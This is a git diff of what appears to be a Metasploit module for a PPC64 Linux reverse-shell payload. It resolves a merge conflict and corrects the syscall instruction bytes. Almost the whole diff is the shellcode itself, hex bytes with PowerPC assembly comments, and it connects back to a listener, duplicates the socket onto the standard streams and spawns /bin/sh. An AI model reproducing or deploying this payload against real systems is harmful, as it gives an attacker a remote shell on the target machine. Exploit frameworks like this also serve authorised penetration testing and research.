@@ -29,7 +29,6 @@ def initialize(info = {})
2929 'LPORT' => [ 62 , 'n' ]
3030 } ,
3131 'Payload' =>
32- <<<<<<< HEAD
3332 "\x7f \xff \xfa \x78 " + # xor r31,r31,r31 #
3433 "\x3b \xa0 \x01 \xff " + # li r29,511 #
3534 "\x3b \x9d \xfe \x02 " + # addi r28,r29,-510 #
@@ -40,7 +39,7 @@ def initialize(info = {})
4039 "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
4140 "\x38 \x7d \xfe \x02 " + # addi r3,r29,-510 #
4241 "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
43- "\x44 \xff \xff \x02 " + # sc #
42+ "\x44 \x00 \x00 \x02 " + # sc #
4443 "\x7c \x7a \x1b \x78 " + # mr r26,r3 #
4544 "\x3b \x3d \xfe \x11 " + # addi r25,r29,-495 #
4645 "\x3e \xe0 \x7f \x00 " + # lis r23,32512 #
@@ -56,11 +55,11 @@ def initialize(info = {})
5655 "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
5756 "\x38 \x7d \xfe \x04 " + # addi r3,r29,-508 #
5857 "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
59- "\x44 \xff \xff \x02 " + # sc #
58+ "\x44 \x00 \x00 \x02 " + # sc #
6059 "\x7f \x64 \xdb \x78 " + # mr r4,r27 #
6160 "\x7f \x43 \xd3 \x78 " + # mr r3,r26 #
6261 "\x38 \x1d \xfe \x40 " + # addi r0,r29,-448 #
63- "\x44 \xff \xff \x02 " + # sc #
62+ "\x44 \x00 \x00 \x02 " + # sc #
6463 "\x37 \x7b \xff \xff " + # addic. r27,r27,-1 #
6564 "\x40 \x80 \xff \xec " + # bge+ <cntsockcode64+108> #
6665 "\x7c \xa5 \x2a \x79 " + # xor. r5,r5,r5 #
@@ -73,55 +72,8 @@ def initialize(info = {})
7372 "\xf8 \x61 \xff \xf9 " + # stdu r3,-8(r1) #
7473 "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
7574 "\x38 \x1d \xfe \x0c " + # addi r0,r29,-500 #
76- "\x44 \xff \xff \x02 " + # sc #
75+ "\x44 \x00 \x00 \x02 " + # sc #
7776 '/bin/sh'
78- =======
79- "\x7f \xff \xfa \x78 " + # xor r31,r31,r31 #
80- "\x3b \xa0 \x01 \xff " + # li r29,511 #
81- "\x3b \x9d \xfe \x02 " + # addi r28,r29,-510 #
82- "\x3b \x7d \xfe \x03 " + # addi r27,r29,-509 #
83- "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
84- "\xfb \x81 \xff \xf9 " + # stdu r28,-8(r1) #
85- "\xfb \x61 \xff \xf9 " + # stdu r27,-8(r1) #
86- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
87- "\x38 \x7d \xfe \x02 " + # addi r3,r29,-510 #
88- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
89- "\x44 \x00 \x00 \x02 " + # sc #
90- "\x7c \x7a \x1b \x78 " + # mr r26,r3 #
91- "\x3b \x3d \xfe \x11 " + # addi r25,r29,-495 #
92- "\x3e \xe0 \x7f \x00 " + # lis r23,32512 #
93- "\x62 \xf7 \x00 \x01 " + # ori r23,r23,1 #
94- "\x3a \xc0 \x04 \xd2 " + # li r22,1234 #
95- "\x96 \xe1 \xff \xfc " + # stwu r23,-4(r1) #
96- "\x96 \xc1 \xff \xfc " + # stwu r22,-4(r1) #
97- "\x93 \x61 \xff \xfe " + # stw r27,-2(r1) #
98- "\x7c \x35 \x0b \x78 " + # mr r21,r1 #
99- "\xfb \x21 \xff \xf9 " + # stdu r25,-8(r1) #
100- "\xfa \xa1 \xff \xf9 " + # stdu r21,-8(r1) #
101- "\xfb \x41 \xff \xf9 " + # stdu r26,-8(r1) #
102- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
103- "\x38 \x7d \xfe \x04 " + # addi r3,r29,-508 #
104- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
105- "\x44 \x00 \x00 \x02 " + # sc #
106- "\x7f \x64 \xdb \x78 " + # mr r4,r27 #
107- "\x7f \x43 \xd3 \x78 " + # mr r3,r26 #
108- "\x38 \x1d \xfe \x40 " + # addi r0,r29,-448 #
109- "\x44 \x00 \x00 \x02 " + # sc #
110- "\x37 \x7b \xff \xff " + # addic. r27,r27,-1 #
111- "\x40 \x80 \xff \xec " + # bge+ <cntsockcode64+108> #
112- "\x7c \xa5 \x2a \x79 " + # xor. r5,r5,r5 #
113- "\x40 \x82 \xff \xfd " + # bnel+ <cntsockcode64+132> #
114- "\x7f \xc8 \x02 \xa6 " + # mflr r30 #
115- "\x3b \xde \x01 \xff " + # addi r30,r30,511 #
116- "\x38 \x7e \xfe \x25 " + # addi r3,r30,-475 #
117- "\x98 \xbe \xfe \x2c " + # stb r5,-468(r30) #
118- "\xf8 \xa1 \xff \xf9 " + # stdu r5,-8(r1) #
119- "\xf8 \x61 \xff \xf9 " + # stdu r3,-8(r1) #
120- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
121- "\x38 \x1d \xfe \x0c " + # addi r0,r29,-500 #
122- "\x44 \x00 \x00 \x02 " + # sc #
123- "/bin/sh"
124- >>>>>>> d127729c5cf ( Adding PPC64 template , fixing PPC64 single payloads )
12577 }
12678 )
12779 )
0 commit comments